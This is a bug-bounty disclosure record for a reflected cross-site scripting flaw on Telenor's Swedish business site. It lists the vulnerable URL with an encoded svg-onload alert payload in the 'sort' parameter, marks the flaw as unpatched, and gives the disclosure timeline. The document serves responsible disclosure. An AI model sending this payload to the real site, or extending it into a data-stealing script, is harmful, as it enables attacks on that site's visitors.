foretag.telenor.se XSS vulnerability

2017-06-16T19:08:00
ID OBB:249049
Type openbugbounty
Reporter bananascript
Modified 2017-09-08T19:45:00

Description

Vulnerable URL:
https://foretag.telenor.se/telefoner?sort=%22%3E%3Csvg%20onload%3d%22alert(%27OPENBUGBOUNTY%27)
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 08.09.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check foretag.telenor.se SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 16 June, 2017 19:08 GMT
Generic security notifications sent to website owner| 16 June, 2017 19:11 GMT
Vulnerability details disclosed by researcher| 8 September, 2017 19:45 GMT